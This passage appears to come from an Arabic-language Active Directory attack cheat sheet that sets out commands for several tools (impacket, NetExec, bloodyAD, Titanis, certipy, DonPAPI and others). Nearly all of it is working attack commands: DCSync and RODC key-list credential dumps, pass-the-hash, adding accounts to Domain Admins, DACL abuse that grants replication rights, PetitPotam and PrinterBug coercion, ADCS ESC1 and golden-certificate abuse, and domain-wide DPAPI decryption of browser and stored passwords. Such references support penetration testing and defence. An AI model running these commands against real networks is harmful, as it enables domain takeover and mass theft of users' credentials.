> يستخرج مفاتيح AES Kerberos لجميع حسابات المجال عبر بروتوكول تكرار مفاتيح RODC. يتطلب مفتاح AES أو تجزئة NT لحساب `krbtgt` الخاص بـ RODC (`krbtgt_XXXXX`). لا يستخدم DRSUAPI أو VSS — مفيد في البيئات التي يتم فيها حظر DCSync. يسترجع مفاتيح Kerberos فقط، وليس تجزئات NTLM مباشرة (على الرغم من أنه يمكن اشتقاق NTLM من مفاتيح RC4).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

[↑ العودة إلى الفهرس](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

[↑ العودة إلى الفهرس](#index)

---

### تعداد المجموعات / الأسماء المستعارة المحلية```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

[↑ العودة إلى الفهرس](#index)

---

### تعداد نقاط نهاية RPC```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

[↑ العودة إلى الفهرس](#index)

---

### استدعاء أسلوب WMI```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

[↑ العودة إلى الفهرس](#index)

---

### واصف أمان مفتاح التسجيل```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

[↑ العودة إلى الفهرس](#index)

---

### LSA Privilege Management```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

[↑ العودة إلى الفهرس](#index)

---

## 6. Active Directory / LDAP

### تعداد مستخدمي AD / أجهزة الكمبيوتر```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ العودة إلى الفهرس](#index)

---

### العثور على تكوينات التفويض```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ العودة إلى الفهرس](#index)

---

### إضافة حساب مستخدم```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

[↑ العودة إلى الفهرس](#index)

---

### إساءة استخدام DACL

> **حالة Titanis:** لا توجد إمكانية لكتابة ACE. `bloodyAD` هو الخيار المفضّل غير المعتمد على impacket. `dacledit.py` / `owneredit.py` هما البديلان الاحتياطيان لـ impacket.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

[↑ العودة إلى الفهرس](#index)

---

## 7. إجبار المصادقة

> اقرن جزء الإجبار مع `ntlmrelayx` أو Responder لجزء الترحيل. يغطي `credcoerce` من Titanis بروتوكول MS-EFSR فقط.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

[↑ العودة إلى الفهرس](#index)

---

## 8. الشهادات

> **حالة gopacket:** لا توجد أدوات ADCS. استخدم certipy أو Titanis `Cert` أو impacket لجميع عمليات الشهادات.

### توليد PFX ذاتي التوقيع```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

[↑ العودة إلى الفهرس](#index)

---

### ADCS ESC1 — التسجيل واسترداد NT Hash```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

[↑ العودة إلى الفهرس](#index)

---

### DPAPI Domain Backup Key — فك تشفير جماعي لبيانات الاعتماد

> مفتاح النسخ الاحتياطي للنطاق DPAPI هو سرّ على مستوى النطاق محفوظ على وحدات تحكم المجال (DCs) يفك تشفير المفتاح الرئيسي لـ DPAPI لكل مستخدم — وبالتالي كل كتلة محمية بـ DPAPI في النطاق: كلمات مرور Chrome/Edge/Firefox، وWindows Credential Manager، والشهادات، ومفاتيح Wi-Fi، وحسابات SCCM NAA، وبيانات اعتماد المهام المجدولة، والمزيد. يتطلب استخراجه صلاحيات مسؤول النطاق (DA)، لكن بمجرد الحصول عليه يظل المفتاح صالحًا بشكل دائم ما لم يتم تدويره صراحةً. يوفّر تغطية لبيانات الاعتماد تماثل تغطية NTDS للأسرار المخزنة في كتل DPAPI، وغالبًا ما يكون أكثر ثراءً للحركة الجانبية لأنه ينتج كلمات مرور بنص واضح بدلاً من التجزئات.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan